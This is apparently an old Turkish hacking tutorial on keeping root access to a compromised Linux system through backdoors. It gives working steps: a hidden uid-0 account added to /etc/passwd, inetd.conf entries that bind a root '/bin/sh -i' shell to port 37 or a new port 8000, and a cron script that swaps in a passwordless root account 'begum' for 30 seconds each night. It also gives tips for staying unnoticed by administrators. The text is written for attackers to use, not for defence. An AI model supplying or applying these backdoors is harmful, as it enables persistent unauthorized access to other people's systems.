size birkac arka kapi gosterecegim. Cok karisik olmayanlarindan, yani kendi Linux`unuzde yaziyi okur okumaz deneyebilirsiniz, ve ayrica gosterecegim arka kapilardan yola cikip hayal gucunuzu de kullanarak, cok hos arka kapilar yapabilirsiniz..Yalniz arka kapilar `root` elde etmek icin degildir. Arka kapilar cok calisip zorla elde ettiginiz `root``u sistemde guvenlik delikleri olusturarak bir sonraki geri donusunuz icin elinizde tutmaniz icindir.
Herneyse, diyelim ki cok aceleniz var ve hemen bir arka kapi olusturmak istiyorsunuz. /etc/passwd dosyasini hemen bir programla acip ortalarina bir yere suphe cekmeyecek bir root hesabi ekleyin ya da dosyanin derinlerinde bir yerlerde sistem yoneticisinin daha onceden dondurdugu bir hesabin uid`ini 0 yapin ve * isaretini kaldirin. Bunlar zorunlu kalmadikca kullanilmamasi gereken yontemlerdir ve sistem yoneticisinin en cabuk fark edecegi kapilardir. Bu yuzden ZORUNLU KALMADIKCA KULLANMAYIN!!!
Simdi geldik bir inetd.conf arka kapisina! Ama en eglencelisini sona sakladim..hehe... Inetd, sistemin portlarini yukleyen bir programdir ve ayni zamanda arka kapilar icin de cok uygundur. Gerci /etc/inetd.conf dosyasinda degisiklik yapilarak yaratilan arka kapilarin yasam suresi sistem yoneticisine gore degisir. Pek uzun yasayacaklarini hic sanmiyorum fakat denemeye deger. Asagida kendi bilgisayarimdaki Linux`den aldigim bir /etc/inetd.conf ornegi var.
(Tabii ki hepsi degil...)
#ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a
#telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd
#gopher stream tcp nowait root /usr/sbin/tcpd gn
#nntp stream tcp nowait root /usr/sbin/tcpd in.nntpd
#shell stream tcp nowait root /usr/sbin/tcpd in.rshd
#login stream tcp nowait root /usr/sbin/tcpd in.rlogind
#exec stream tcp nowait root /usr/sbin/tcpd in.rexecd
#talk dgram udp wait root /usr/sbin/tcpd in.talkd
#ntalk dgram udp wait root /usr/sbin/tcpd in.ntalkd
#dtalk stream tcp waut nobody /usr/sbin/tcpd in.dtalkd
#pop-2 stream tcp nowait root /usr/sbin/tcpd ipop2d
#pop-3 stream tcp nowait root /usr/sbin/tcpd ipop3d
#imap stream tcp nowait root /usr/sbin/tcpd imapd
#uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/lib/uucp/uucico -l
#tftp dgram udp wait root /usr/sbin/tcpd in.tftpd
#bootps dgram udp wait root /usr/sbin/tcpd bootpd
finger stream tcp nowait root /usr/sbin/tcpd in.fingerd -l
#cfingerstream tcp nowait root /usr/sbin/tcpd in.cfingerd
#systat stream tcp nowait guest /usr/sbin/tcpd /bin/ps -auwwx
#netstatstream tcp nowait guest /usr/sbin/tcpd /bin/netstat -f inet
#time stream tcp nowait nobody /usr/sbin/tcpd in.timed
#time dgram udp wait nobody /usr/sbin/tcpd in.timed
#auth stream tcp nowait nobody /usr/sbin/in.identd in.identd -l -e -o
# isareti Linux`e o satiri okumamasini sagliyor. Gordugunuz gibi benim sadece telnet ve finger portlarim acik. Aslinda normalde ben hic bir portumu acik birakmam, ama bu aralar acik iste Simdi `Bunlarda nedir?` diye soracaksiniz. Telnet`i ele alalim. Satirdaki birinci bolum calistirilacak daemon`un, yani, programin ismidir. Ikinci bolumdeki stream socket tipidir. TCP`nin socketi stream ,UDP`ninkiyse dgram. Sonraki bolumde ise protocol ismini goruyorsunuz. Sonraki bolumdeyse programin hangi kullanici turu olarak calisacagi belirlenir. Yani telnet root (uid=0) olarak calisacak. Besinci bolumde ise programin bulundugu dizin var fakat benim inetd.conf dosyamda /usr/sbin/tcpd`yi goruyorsunuz. Tcpd guvenlik icin bazi bilgileri kaydeden bir daemon olduguna gore, burada telnetin hareketleri normalde oldugundan fazla kaydediliyor. Son bolumdeyse daemonun paremetreleriyle beraber gercek ismini goruyorsunuz.
Bir de daemonlarin hangi portlari ve protocolleri kullandigini iceren /etc/services dosyasi vardir. Bu dosya sayesinde 23 olan telnet portunu, 7000 yapabiliriz Asagida bir services ornegi var:
tcpmux 1/tcp # rfc-1078
echo 7/tcp
echo 7/udp
discard 9/tcp sink null
discard 9/udp sink null
systat 11/tcp users
daytime 13/tcp
daytime 13/udp
netstat 15/tcp
qotd 17/tcp quote
chargen 19/tcp ttytst source
chargen 19/udp ttytst source
ftp-data 20/tcp
ftp 21/tcp
telnet 23/tcp
smtp 25/tcp mail
time 37/tcp timserver
time 37/udp timserver
rlp 39/udp resource # resource location
name 42/udp nameserver
whois 43/tcp nicname # usually to sri-nic
domain 53/tcp
domain 53/udp
mtp 57/tcp # deprecated
bootps 67/udp # bootp server
bootpc 68/udp # bootp client
tftp 69/udp
gopher 70/tcp # gopher server
rje 77/tcp
finger 79/tcp
http 80/tcp # www is used by some broken
www 80/tcp # progs, http is more correct
link 87/tcp ttylink
kerberos 88/udp kdc # Kerberos authentication--udp
kerberos 88/tcp kdc # Kerberos authentication--tcp
supdup 95/tcp # BSD supdupd(

hostnames 101/tcp hostname # usually to sri-nic
iso-tsap 102/tcp
x400 103/tcp # ISO Mail
x400-snd 104/tcp
csnet-ns 105/tcp
pop-2 109/tcp # PostOffice V.2
pop-3 110/tcp # PostOffice V.3
pop 110/tcp # PostOffice V.3
sunrpc 111/tcp
sunrpc 111/tcp portmapper # RPC 4.0 portmapper UDP
sunrpc 111/udp
sunrpc 111/udp portmapper # RPC 4.0 portmapper TCP
auth 113/tcp ident # User Verification
sftp 115/tcp
uucp-path 117/tcp
nntp 119/tcp usenet # Network News Transfer
ntp 123/tcp # Network Time Protocol
ntp 123/udp # Network Time Protocol
netbios-ns 137/tcp nbns
netbios-ns 137/udp nbns
netbios-dgm 138/tcp nbdgm
netbios-dgm 138/udp nbdgm
netbios-ssn 139/tcp nbssn
imap 143/tcp # imap network mail protocol
NeWS 144/tcp news # Window System
snmp 161/udp
snmp-trap 162/udp
exec 512/tcp # BSD rexecd(

biff 512/udp comsat
login 513/tcp # BSD rlogind(

who 513/udp whod # BSD rwhod(

shell 514/tcp cmd # BSD rshd(

syslog 514/udp # BSD syslogd(

printer 515/tcp spooler # BSD lpd(

talk 517/udp # BSD talkd(

ntalk 518/udp # SunOS talkd(

efs 520/tcp # for LucasFilm
route 520/udp router routed # 521/udp too
timed 525/udp timeserver
tempo 526/tcp newdate
courier 530/tcp rpc # experimental
conference 531/tcp chat
netnews 532/tcp readnews
netwall 533/udp # -for emergency broadcasts
uucp 540/tcp uucpd # BSD uucpd(

UUCP service
klogin 543/tcp # Kerberos authenticated rlogin
kshell 544/tcp cmd # and remote shell
new-rwho 550/udp new-who # experimental
remotefs 556/tcp rfs_server rfs # Brunhoff remote filesystem
rmonitor 560/udp rmonitord # experimental
monitor 561/udp # experimental
pcserver 600/tcp # ECD Integrated PC board srvr
mount 635/udp # NFS Mount Service
pcnfs 640/udp # PC-NFS DOS Authentication
bwnfs 650/udp # BW-NFS DOS Authentication
kerberos-adm 749/tcp # Kerberos 5 admin/changepw
kerberos-adm 749/udp # Kerberos 5 admin/changepw
kerberos-sec 750/udp # Kerberos authentication--udp
kerberos-sec 750/tcp # Kerberos authentication--tcp
kerberos_master 751/udp # Kerberos authentication
kerberos_master 751/tcp # Kerberos authentication
krb5_prop 754/tcp # Kerberos slave propagation
listen 1025/tcp listener RFS remote_file_sharing
nterm 1026/tcp remote_login network_terminal
kpop 1109/tcp # Pop with Kerberos
ingreslock 1524/tcp
tnet 1600/tcp # transputer net daemon
cfinger 2003/tcp # GNU finger
nfs 2049/udp # NFS File Service
eklogin 2105/tcp # Kerberos encrypted rlogin
krb524 4444/tcp # Kerberos 5 to 4 ticket xlator
irc 6667/tcp # Internet Relay Chat
dos 7000/tcp msdos
Buraya istediginizi ekleyebilirsiniz. Ornegin ircyi ele alalim. Bastaki `irc` sozcugu /etc/inetd.conf`un icinde yer alacak olan isim, 6667 port numarasi, tcp protokol tipi, # isaretinden sonraki bolumse aciklamasi. Artik bu anlattiklarimdan sonra, kapiyi nasil koyacaginizi anlatacagim.
Kendi servisinizi yukleyebilirsiniz ya da onceden yuklenmis bir servisi degistirebilirsiniz.
Ornegin, kurbanimiz time olsun.
time stream tcp nowait nobody /usr/sbin/tcpd in.timed
Time`in port numarasi services dosyasinda 37 olarak belirlendigi icin services dosyasini degistirmeye gerek yok. Onemli olan son uc bolum. Kapimizin root olarak calismasi sart oldugu icin nobody yerine root yazin. /usr/sbin/tcpd yerine /bin/sh yazin. Ve son olarak in.timed yerine sh -i yazin. Satirin ayni asagidaki gibi olmasi gerekiyor:
time stream tcp nowait root /bin/sh sh -i
Hepsi bu kadar! Eger isterseniz riske girip yonetici yerine siz `killall -HUP inetd` yazarak dosyayi tekrar okutabilirsiniz ya da biraz bekleyebilirsiniz. Simdi tek yapacaginiz port 37`ye telnet cekmek. Root olarak sistemde bulacaksiniz kendinizi...heuehuhu...Tek yapacaginiz kapinizi /etc/services dosyasina tanitmak ve inetd.conf`a eklemek. Iste size bir ornek:
inetd.conf --> filter stream tcp nowait root /bin/sh sh -i
services --> filter 8000/tcp backdoor
Iste bu kadar. Simdi tek yapacaginiz `killall -HUP inetd` yazip, port 8000`e telnet cekmek. Hic zor degil...Ama bu kapilar daha once de dedigim gibi hemen fark edilir. Peki hangileri hemen fark edilmez? C dosyasi seklinde olan truva atlari tabii ki!
Ve son olarak /etc/crontab kapilarina geldik. Sadece bir tane ornek verecegim, cunku hayal gucunuzu kullanarak bir suru degisik kapi uretebilirsiniz. Crond istediginiz zamanda istediginiz islemi yapmanizi saglayan cok yararli bir aractir. Simdiki ornekte, crond 30 saniyeligine begum isimli bir kullaniciyi aktif hale getiriyor. Basit ama etkili br ornek.
Nasil mi yapacaksiniz? Cok basit, sadece /etc/crontab dosyasina bir satir gireceksiniz ve birkac shell dosyasi yapacaksiniz. Tabii ki biraz unix bilginizin oldugunu dusunuyorum. Asagida crontab dosyasindaki alanlarin aciklamalari var:
(1) (2) (3) (4) (5) (6)
dakika saat gun ay haftanincalistirilacak komut ya da dosya
0-59 0-23 1-31 1-12 0-6gunu
Simdi /var/spool/crond/ ya da /var/spool/mail/ dizinlerinden biri mutlaka olacaktir. Varsa /var/spool/crond/, yoksa /var/spool/mail/ dizininin icine gidip `begum` adli bir dosya yaratin ve bu dosyanin icine sunlari girin:
30 23 * * * sh /usr/bin/test
Sonra /usr/bin/ dizinine gidin ve test adli bir dosya yaratip su degisiklikleri yapin:
cp /etc/passwd /etc/passwdd
rm /etc/passwd
cp /etc/tester /etc/passwd
sleep 30
rm /etc/passwd
cp /etc/passwdd /etc/passwd
Daha sonra /etc/`ye gidip tester adli bir dosya yaratip asagidakileri girin:
begum::0:0:Begum Atac:/:/bin/bash
Iste arka kapiniz hazir! Her gun saat 23:30`da 30 saniyeligine gercek passwd dosyasi yerine kendi begum isimli root hesabimizi aktif hale getiriyoruz! Bu cok basit ve bir cok insanin bildigi bir kapidir. Tabii ki hayal gucunuz sayesinde cok daha karmasik ve iyilerini yaratabilirsiniz.